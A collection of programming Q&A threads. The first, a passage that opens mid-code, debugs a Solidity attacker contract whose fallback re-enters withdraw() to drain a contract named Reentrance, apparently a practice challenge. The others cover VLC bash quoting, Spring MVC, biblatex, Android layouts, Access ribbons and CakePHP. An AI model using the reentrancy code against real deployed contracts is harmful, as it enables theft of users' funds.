    function calldonate(address _to,uint val) public payable
    {
        target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
    }
    function callwithdraw() public
    {
        target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
    }
    fallback() external payable {
        i++;
        require(i<target.balance);
        msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
    }
}

After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1.
I can't see what's wrong with my code (very new to Solidity).
Any help would be appreciated.

A: a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables
address public target;
    uint32 public i = 0;
    constructor(address _target) payable {
        target=_target;
    }

2- In calldonate function I added require for debuggin
     bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
    (bool success,)=target.call{value:val}(payload);
     // just for debugging purpose
    require(success,"target.call failed");

3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image

successfully sent 10 wei, balance is updated
4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback
fallback() external payable {
    i++;
    require(i<target.balance,"error here");
    // msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
    // target.call(abi.encodeWithSignature("withdraw(uint)",1));
    Reentrance(payable(target)).withdraw(1);
}

5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256
 function callwithdraw() public
    {
        target.call(abi.encodeWithSignature("withdraw(uint)",1));
    }

6- call callwithdraw function. Because you have this logic inside fallback
    // when i=5, targetBalance would be 5
    i++;
    require(i<target.balance);

after you called it and check the balances you should see 5 left.


text:
Q: Escaping variable when passing options inside single-quote to vlc in a bash function I'm writing a bash function to call vlc to capture video to a file. And I want the file name to be timestamp. But the dst option for file name is inside a single-quote. How can I accomplish this?
The bash function and vlc command is:
function vlc-capture-func() {
    local capture_output_file="/path/vlc-capture-$(date +%Y%m%d%H%M%S)"

    vlc qtcapture:// -vvvv --no-drop-late-frames --no-skip-frames\
 --sout='#transcode{vcodec=h264,fps=15,venc=x264{preset=fast,tune=zerolatency,keyint=30,bframes=0,ref=1,level=30,profile=baseline,hrd=cbr,crf=20,ratetol=1.0,vbv-maxrate=1200,vbv-bufsize=1200,lookahead=0}}:standard{access=file,mux=ps,dst=$capture_output_file}'\
 --qtcapture-width=1280 --qtcapture-height=720 --live-caching=300 --intf=macosx

    echo "Done!"
}

Hope I made a appropriate title and clear question, also please correct me if any wrong English.
Appreciate your help!

A: Use double quotes instead. Like:
"#transcode{vcodec=h264,fps=15,venc=x264{preset=fast,tune=zerolatency,keyint=30,bframes=0,ref=1,level=30,profile=baseline,hrd=cbr,crf=20,ratetol=1.0,vbv-maxrate=1200,vbv-bufsize=1200,lookahead=0}}:standard{access=file,mux=ps,dst=${capture_output_file}}'


text:
Q: PageNotFound - noHandlerFound No mapping found for HTTP request with URI [/SpringSecWebApp/welcome] in DispatcherServlet with name 'mvc-dispatcher' I am new to Spring securities. I created a hello world application installed on WAS server and hit http://localhost:9080/SpringSecWebApp/welcome from browser but getting below error
I have google a lot and search almost every question regarding the same on Stack Overflow but solution mentioned over there didn't solve the issue. Please help.
Error:
PageNotFound  W org.springframework.web.servlet.DispatcherServlet noHandlerFound No mapping found for HTTP request with URI [/SpringSecWebApp/welcome] in DispatcherServlet with name 'mvc-dispatcher'
Referred site:
http://www.mkyong.com/spring-security/spring-security-hello-world-example/
Technologies used :
Spring 3.2.8.RELEASESpring Security 3.2.3.RELEASE
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_ID" version="3.0" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<display-name>SpringSecWebApp</display-name>
<welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
</welcome-file-list>

<!-- Spring MVC -->
<servlet>
    <servlet-name>mvc-dispatcher</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet
    </servlet-class>
    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>mvc-dispatcher</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>

<listener>
    <listener-class>org.springframework.web.context.ContextLoaderListener
    </listener-class>
</listener>

    <!-- Loads Spring Security config file -->
<context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>
        /WEB-INF/spring-security.xml
    </param-value>
</context-param>

<!-- Spring Security -->
<filter>
    <filter-name>springSecurityFilterChain</filter-name>
    <filter-class>org.springframework.web.filter.DelegatingFilterProxy
    </filter-class>
</filter>

<filter-mapping>
    <filter-name>springSecurityFilterChain</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

mvc-dispatcher-servlet.xml
<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:context="http://www.springframework.org/schema/context"
    xmlns:mvc="http://www.springframework.org/schema/mvc"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="
        http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
        http://www.springframework.org/schema/context
        http://www.springframework.org/schema/context/spring-context-3.0.xsd
        http://www.springframework.org/schema/mvc
        http://www.springframework.org/schema/mvc/spring-mvc.xsd">

    <context:component-scan base-package="com" />
     <mvc:annotation-driven />
    <bean
      class="org.springframework.web.servlet.view.InternalResourceViewResolver">
      <property name="prefix">
        <value>/WEB-INF/pages/</value>
      </property>
      <property name="suffix">
        <value>.jsp</value>
      </property>
    </bean>
</beans>

spring-security.xml
<beans:beans xmlns="http://www.springframework.org/schema/security"
    xmlns:beans="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
    http://www.springframework.org/schema/security
    http://www.springframework.org/schema/security/spring-security-3.2.xsd">

    <http auto-config="true">
        <intercept-url pattern="/admin**" access="ROLE_USER" />
    </http>
    <authentication-manager>
      <authentication-provider>
        <user-service>
        <user name="test" password="123456" authorities="ROLE_USER" />
        </user-service>
      </authentication-provider>
    </authentication-manager>
</beans:beans>

WebLoginController
@Controller
public class WebLoginController {
    @RequestMapping(value = { "/", "/welcome**" }, method = RequestMethod.GET)
    public ModelAndView welcomePage() {

        ModelAndView model = new ModelAndView();
        model.addObject("title", "Spring Security Hello World");
        model.addObject("message", "This is welcome page!");
        model.setViewName("hello");
        return model;
    }

    @RequestMapping(value = "/admin**", method = RequestMethod.GET)
    public ModelAndView adminPage() {

        ModelAndView model = new ModelAndView();
        model.addObject("title", "Spring Security Hello World");
        model.addObject("message", "This is protected page!");
        model.setViewName("admin");

        return model;
    }
}

A:  should refer the package in which the controllers are written. In other words if your controller is in com.springwebapp package then use <context:component-scan base-package="com.springwebapp" />
Edit:
based on your comment I am adding more code:
Try this:
<mvc:default-servlet-handler />
<context:component-scan base-package="com.springwebapp" use-default-filters="false">
    <context:include-filter type="annotation" expression="org.springframework.stereotype.Controller" />
</context:component-scan>

Edit 2: again based on your comment I have changed the code.
Please try this:
<context:component-scan base-package="com.springwebapp" use-default-filters="false">
    <context:include-filter type="annotation" expression="org.springframework.stereotype.Controller" />
</context:component-scan>

**removed default-servlet-handler


text:
Q: Bibliographic macro that selectively modifies quotation fails on Babel shorthands I use the code as in the following MWE:
\documentclass{article}

\usepackage[english]{babel}

\useshorthands*{"}
\defineshorthand{"-}{\texorpdfstring{\babelhyphen{repeat}}{\discretionary{-}{-}{-}}}

\usepackage{biblatex}
\usepackage{csquotes}

\usepackage{xstring}
\verbtocs{\lecture}|Lecture, topic: \enquote {|

\makeatletter
\newbibmacro{unpublished+titles}[1]{%
    \iffieldundef{title}%
    {#1}%
    {%
        % https://tex.stackexchange.com/a/155276:
        \edef\mytemporary{\thefield{title}}%
        \edef\mytitle{\expandafter\strip@prefix\meaning\mytemporary}%
        \IfBeginWith*{\mytitle}{\clt}%
            {#1}%
            {\mkbibquote{#1\isdot}}%
    }%
}
\makeatother
\DeclareFieldFormat[unpublished]{citetitle}{\usebibmacro{unpublished+titles}{#1}}
\DeclareFieldFormat[unpublished]{title}{\usebibmacro{unpublished+titles}{#1}}

\usepackage{filecontents}
\begin{filecontents*}{\jobname.bib}
    @Unpublished{A1,
        author       = {Author},
        title        = {Some other work}
    }
    @Unpublished{A2,
        author       = {Author},
        title        = {Lecture, topic: \enquote{test}}
    }
    @Unpublished{A3,
        author       = {Author},
        title        = {Test"-test}
    }
\end{filecontents*}
\addbibresource{\jobname.bib}

\begin{document}
    \noindent Citations: \cite{A1}~\cite{A2}%~\cite{A3}

    \printbibliography
\end{document}

In this case it detects bibliography entries of type unpublished and if their titles start with "Lecture, topic: \enquote{", it removes the first part of title from the bibliographical quotation. An illustrative result looks is:

Nevertheless, this works only for entries that do not include "- shorthand in their titles. If they do, the following problem occurs:

Uncommenting %~\cite{A3} in MWE causes such error.
Is it possible to expand this feature to cover also titles that contains "- shorthand? Either by correcting the code above or in other way that would produce the desired result.

A: The code expands the involved macros quite heavily, but \texorpdfstring{\babelhyphen{repeat}}{\discretionary{-}{-}{-}} is not expandable, so it breaks.
A functioning workaround that I could find is to store this definition in a robust macro and use that in the definition of "-. In the code below the expansion of the title is also kept to a minimum (by using \savefield*{title} instead of the \edef construction).
\documentclass{article}
\usepackage[english]{babel}
\usepackage{csquotes}
\usepackage{biblatex}
\usepackage{xstring}
\usepackage{hyperref}

\newrobustcmd*{\robustbutbreakablehyphen}{%
  \texorpdfstring{\babelhyphen{repeat}}{\discretionary{-}{-}{-}}}

\useshorthands*{"}
\defineshorthand{"-}{\robustbutbreakablehyphen}

\makeatletter
\verbtocs{\lecture}|Lecture, topic: \enquote {|

\newbibmacro{unpublished+titles}[1]{%
  \iffieldundef{title}%
    {#1}
    {%
       % https://tex.stackexchange.com/a/155276:
       \savefield*{title}{\mytitle}%
       \IfBeginWith*{\mytitle}{\lecture}
         {#1}
         {\mkbibquote{#1\isdot}}%
    }%
}
\makeatother

\DeclareFieldFormat[unpublished]{citetitle}{\usebibmacro{unpublished+titles}{#1}}
\DeclareFieldFormat[unpublished]{title}{\usebibmacro{unpublished+titles}{#1}}

\usepackage{filecontents}
\begin{filecontents*}{\jobname.bib}
@unpublished{A1,
  author       = {Author},
  title        = {Some other work},
}
@unpublished{A2,
  author       = {Author},
  title        = {Lecture, topic: \enquote{test}},
    }
@unpublished{A3,
  author       = {Author},
  title        = {Test"-test},
}
\end{filecontents*}
\addbibresource{\jobname.bib}

\begin{document}
  Citations: \cite{A1,A2,A3}

  \printbibliography
\end{document}

Like PLK in the linked question I would suggest a solution using Biber sourcemaps and field annotations instead of direct xstring manipulations. Biber can scan fields with Perl RegEx (and does not expand LaTeX macros, so has no issues with expandability and the linke) and thus has powerful tools for situations like this.
\documentclass{article}
\usepackage[english]{babel}
\usepackage{csquotes}
\usepackage{biblatex}
\usepackage{xstring}
\usepackage{hyperref}

\useshorthands*{"}
\defineshorthand{"-}{\texorpdfstring{\babelhyphen{repeat}}{\discretionary{-}{-}{-}}}

\DeclareSourcemap{
  \maps[datatype=bibtex]{
    \map{
       \step[fieldsource=title, match=\regexp{Lecture,\s+topic:\s\\enquote\s*\{}, final]
       \step[fieldset=title+an, fieldvalue={=noquotes}]
    }
  }
}

\newbibmacro{unpublished+titles}[1]{%
  \iffieldannotation[title]{noquotes}
    {#1}
    {\mkbibquote{#1\isdot}}%
}

\DeclareFieldFormat[unpublished]{citetitle}{\usebibmacro{unpublished+titles}{#1}}
\DeclareFieldFormat[unpublished]{title}{\usebibmacro{unpublished+titles}{#1}}

\usepackage{filecontents}
\begin{filecontents*}{\jobname.bib}
@unpublished{A1,
  author       = {Author},
  title        = {Some other work},
}
@unpublished{A2,
  author       = {Author},
  title        = {Lecture, topic: \enquote{test}},
    }
@unpublished{A3,
  author       = {Author},
  title        = {Test"-test},
}
\end{filecontents*}
\addbibresource{\jobname.bib}

\begin{document}
  Citations: \cite{A1,A2,A3}

  \printbibliography
\end{document}

The output is the same.


text:
Q: How to show images like twitter in android
Hello All, I want to show image like shown in attached file. I have created a view but i am unable to set image one after other but the second and third image should be cut. Is there any way to achieve this view using xml?
<RelativeLayout
    android:id="@+id/rlFeedPostNotification"
    android:layout_gravity="end"
    android:layout_alignParentEnd="true"
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="300dp"
    android:layout_height="wrap_content"
    android:background="@drawable/circular_notification">

    <ImageView
        android:id="@+id/ivDownArrow"
        android:tint="@color/white"
        android:src="@drawable/ic_keyboard_arrow_down"
        android:layout_width="50dp"
        android:layout_height="50dp"/>

    <TextView
        android:id="@+id/tvPost"
        android:textSize="16sp"
        android:layout_centerInParent="true"
        android:layout_toEndOf="@id/ivDownArrow"
        android:textColor="@color/white"
        android:text="New Posts"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"/>

    <de.hdodenhof.circleimageview.CircleImageView
        android:id="@+id/ivProfileImgOne"
        android:layout_marginStart="10dp"
        android:src="@drawable/default_image"
        android:layout_centerInParent="true"
        android:layout_toRightOf="@+id/tvPost"
        android:layout_width="40dp"
        android:layout_height="40dp"/>

    <de.hdodenhof.circleimageview.CircleImageView
        android:id="@+id/ivProfileImgTwo"
        android:src="@drawable/default_image"
        android:layout_centerInParent="true"
        android:layout_toRightOf="@+id/ivProfileImgOne"
        android:layout_width="40dp"
        android:layout_height="40dp"/>

    <TextView
        android:textColor="@color/white"
        android:layout_marginEnd="18sp"
        android:layout_alignParentEnd="true"
        android:layout_centerInParent="true"
        android:text="+4"
        android:textSize="16sp"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"/>

</RelativeLayout>

This is my view:

A: by using ConstraintLayout  you can achive this type of layout.Use below xml.
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    android:id="@+id/rlFeedPostNotification"
    android:layout_width="300dp"
    android:layout_height="wrap_content"
    android:layout_alignParentEnd="true"
    android:layout_gravity="end"
    android:background="#00BCD4">

    <ImageView
        android:id="@+id/ivDownArrow"
        android:layout_width="50dp"
        android:layout_height="50dp"
        android:src="@drawable/download_arrow"
        app:tint="@color/white" />

    <TextView
        android:id="@+id/tvPost"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerInParent="true"
        android:layout_toEndOf="@id/ivDownArrow"
        android:text="New Posts"
        android:textColor="@color/white"
        android:textSize="16sp" />

    <androidx.constraintlayout.widget.ConstraintLayout
        android:layout_width="0dp"
        android:layout_height="wrap_content"
        android:layout_toLeftOf="@id/text_plus4"
        android:layout_toRightOf="@id/tvPost">

        <de.hdodenhof.circleimageview.CircleImageView
            android:background="Your Background"
            app:layout_constraintRight_toRightOf="@id/ivProfileImgTwo"
            app:layout_constraintLeft_toRightOf="@id/ivProfileImgTwo"
            android:id="@+id/ivProfileImgThree"
            android:layout_width="40dp"
            android:layout_height="40dp"
            app:layout_constraintBottom_toBottomOf="parent"
            app:layout_constraintTop_toTopOf="parent" />

        <de.hdodenhof.circleimageview.CircleImageView
            android:background="Your Background"
            app:layout_constraintRight_toRightOf="@id/ivProfileImgOne"
            app:layout_constraintLeft_toRightOf="@id/ivProfileImgOne"
            android:id="@+id/ivProfileImgTwo"
            android:layout_width="40dp"
            android:layout_height="40dp"
            app:layout_constraintBottom_toBottomOf="parent"
            app:layout_constraintTop_toTopOf="parent" />

        <de.hdodenhof.circleimageview.CircleImageView
            app:layout_constraintLeft_toLeftOf="parent"
            android:id="@+id/ivProfileImgOne"
            android:background="Your Background"
            android:layout_width="40dp"
            android:layout_height="40dp"
            android:layout_marginStart="10dp"
            app:layout_constraintBottom_toBottomOf="parent"
            app:layout_constraintTop_toTopOf="parent" />

    </androidx.constraintlayout.widget.ConstraintLayout>

    <TextView
        android:id="@+id/text_plus4"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentEnd="true"
        android:layout_centerInParent="true"
        android:layout_marginEnd="18sp"
        android:text="+4"
        android:textColor="@color/white"
        android:textSize="16sp" />

</RelativeLayout>

NOTICE :
if you want to add another image like ivProfileImgFour put your code exact top in ConstraintLayout otherwise your forth mage always appear on top.


text:
Q: MSAccess: Formatting a Custom Ribbon Menu I'm stuck delivering an Access 2010 app to a bunch of Access 2007 users using Access Runtime.
I have constructed a custom menu ribbon that provides the necessary functions.  It is working as required, but formatting of the "Text Formatting" group looks a little funky:

The following is the XML I used for the Text Formatting Group:
<mso:group id="mso_c1.3AC2B47" label="Text Formatting" autoScale="true">
    <mso:control idQ="mso:Font" visible="true"/>
    <mso:control idQ="mso:FontSize" visible="true"/>
    <mso:control idQ="mso:AlignLeft" visible="true"/>
    <mso:control idQ="mso:AlignCenter" visible="true"/>
    <mso:control idQ="mso:AlignRight" visible="true"/>
</mso:group>

I'm looking to position Font and Size combo boxes side-by-side, and the 3 alignment icons below...
Any suggestions to try?
Thanks

A: Getting close.
I am able to group the 3 alignment buttons together, but cannot likewise group the font/size combos.  Maybe a little less funky. :)

<mso:group id="mso_c1.3AC2B47" label="Text Formatting" autoScale="true">
    <mso:control idQ="mso:Font" visible="true"/>
    <mso:control idQ="mso:FontSize" visible="true"/>
    <mso:buttonGroup id="Align">
        <mso:control idQ="mso:AlignLeft" visible="true"/>
        <mso:control idQ="mso:AlignCenter" visible="true"/>
        <mso:control idQ="mso:AlignRight" visible="true"/>
    </mso:buttonGroup>
</mso:group>


text:
Q: Failed a questionable audit? I failed this audit earlier. I marked it as no action needed because as an answer I thought it was okay. I didn't see the question because it said the question was deleted (there was no title or anything). Now that I can see the question that was asked, I think it would still be a valid answer.

A: That's an interesting case. It had two "not an answer" flags on it (which I personally would have declined), but those flags were automatically marked helpful by the system when the asker deleted their own question, taking the answer with it.
Moderators are usually a little more strict with flags like that for just this reason, that they get used as audit cases. Perhaps answers deleted when the question is removed could be excluded from being used as audits to prevent this.
This is a pretty rare case, though, because I'm not sure I've seen this before.


text:
Q: Easy method of translating web application. [cake_php] I'm writing a web-based computer game (mainly cakephp, some js only for ui). I need to setup another instantion in other language, and for this I need translations. I translated whole project line-by-line, but this generates problem during bug fixes, also both versions require separate svn repo. I don't want to use gettext, because i have very limited server resources, and I don't want to do this live, during execution. They are separate instances anyway, so I need rather a parser that generates copy of a template project depending on file woth translations. Otherwise i will have to write it myself. Anybody knows such a program?

A: Looks like you didn't read the Internationalization & Localization chapter on cakephp manual.